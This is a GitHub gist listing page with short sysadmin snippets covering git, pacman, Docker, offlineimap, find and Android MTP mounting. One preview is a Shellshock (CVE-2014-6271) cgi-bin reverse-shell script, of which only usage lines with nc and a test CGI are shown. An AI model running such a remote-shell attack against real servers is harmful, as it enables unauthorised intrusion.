Skip to content

Instantly share code, notes, and snippets.

View nlamirault's full-sized avatar

Nicolas Lamirault nlamirault

View GitHub Profile
@nlamirault
nlamirault / gist:f9c21abf6607947e7678
Created December 13, 2014 11:27
git rename author commit
$ git filter-branch --env-filter '
oldname="old username"
oldemail="old email address"
newname="new username"
newemail="old username address"
[ "$GIT_AUTHOR_EMAIL"="$oldemail" ] && GIT_AUTHOR_EMAIL="$newemail"
[ "$GIT_COMMITTER_EMAIL"="$oldemail" ] && GIT_COMMITTER_EMAIL="$newemail"
[ "$GIT_AUTHOR_NAME"="$oldname" ] && GIT_AUTHOR_NAME="$newname"
[ "$GIT_COMMITTER_NAME"="$oldname" ] && GIT_COMMITTER_NAME="$newname"
' HEAD

Arch Linux

Removing orphaned packages :

$ pacman -Rns $(pacman -Qtdq)

To list explicitly installed packages available in the official repositories:

$ pacman -Qen
@nlamirault
nlamirault / gist:759cf6e614d5398b02e5
Created October 22, 2014 07:35
simple terminal broadcasting
- On first terminal :
$ tcpserver -v 0.0.0.0 8888 tail -f /tmp/script
- On another terminal :
$ script -f /tmp/script
- Anyone that wants to view your session can simply run:
@nlamirault
nlamirault / gist:6c362eb4fb625caa8db6
Last active December 7, 2015 09:58
Docker clean command
For containers:
docker rm $(docker ps -aq)
For images:
docker rmi $(docker images -q --filter dangling=true)
@nlamirault
nlamirault / gist:c159cb86464d69d6574e
Last active August 29, 2015 14:06
CVE-2014-6271 : remote shell
#!/usr/bin/python
#
# CVE-2014-6271 cgi-bin reverse shell
#
# Ex:
# $ ./shellshock.py 10.1.1.44 /cgi-bin/hello.cgi 10.2.2.44 2222
# $ nc 10.1.1.44 2222
#
$ cat /usr/lib/cgi-bin/hello.cgi
#!/bin/bash
echo "Content-type: text/plain"
echo
echo
echo "Hi"
$ curl http://x.x.x.x/cgi-bin/hello.cgi
Hi
@nlamirault
nlamirault / gist:38cfc46682eaeb28709e
Created September 21, 2014 14:00
offlineimap-notify.sh
#!/usr/bin/bash
#
# Script to notify user for new mails.
# Crontab ex:
# */3 * * * * ~/bin/offlineimap-notify.sh
#
#run OfflineIMAP once, with quiet interface
offlineimap -o -q -u quiet
@nlamirault
nlamirault / gist:b69b15b05bb025567d38
Created September 4, 2014 13:11
Find file which not have a string
$ for i in `find . -name "*.py"`; do if ! grep -q "unicode" $i ; then echo $i ; fi ; done
$ docker run --rm=true -p 7306:3306 --name db dockerfile/mysql
140828 11:09:55 mysqld_safe Logging to syslog.
140828 11:09:55 mysqld_safe Starting mysqld daemon with databases from /var/lib/mysql
$ docker ps -a
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f748825d6b83 dockerfile/mysql:latest "mysqld_safe" 18 minutes ago Up 18 minutes 0.0.0.0:7306->3306/tcp db
$ docker run --link db:db --name nimbus-cmdb oab/nimbus-cmdb env
@nlamirault
nlamirault / gist:4fd54628534d4db55584
Created July 25, 2014 09:16
Arch Linux / Android MTP / Nexus 4
* Install android-udev package from AUR
* Install go-mtpfs package from AUR
* Add fuse group if you don’t have it already:
$ groupadd fuse
* Add yourself to fuse group
$ gpasswd -a YOURLOGIN fuse
* Create mounting directory
$ mkdir /media/nexus
$ chown YOURLOGIN /media/nexus
* Create aliases to allow quick mounting. This needs to go to your ~/.bashrc file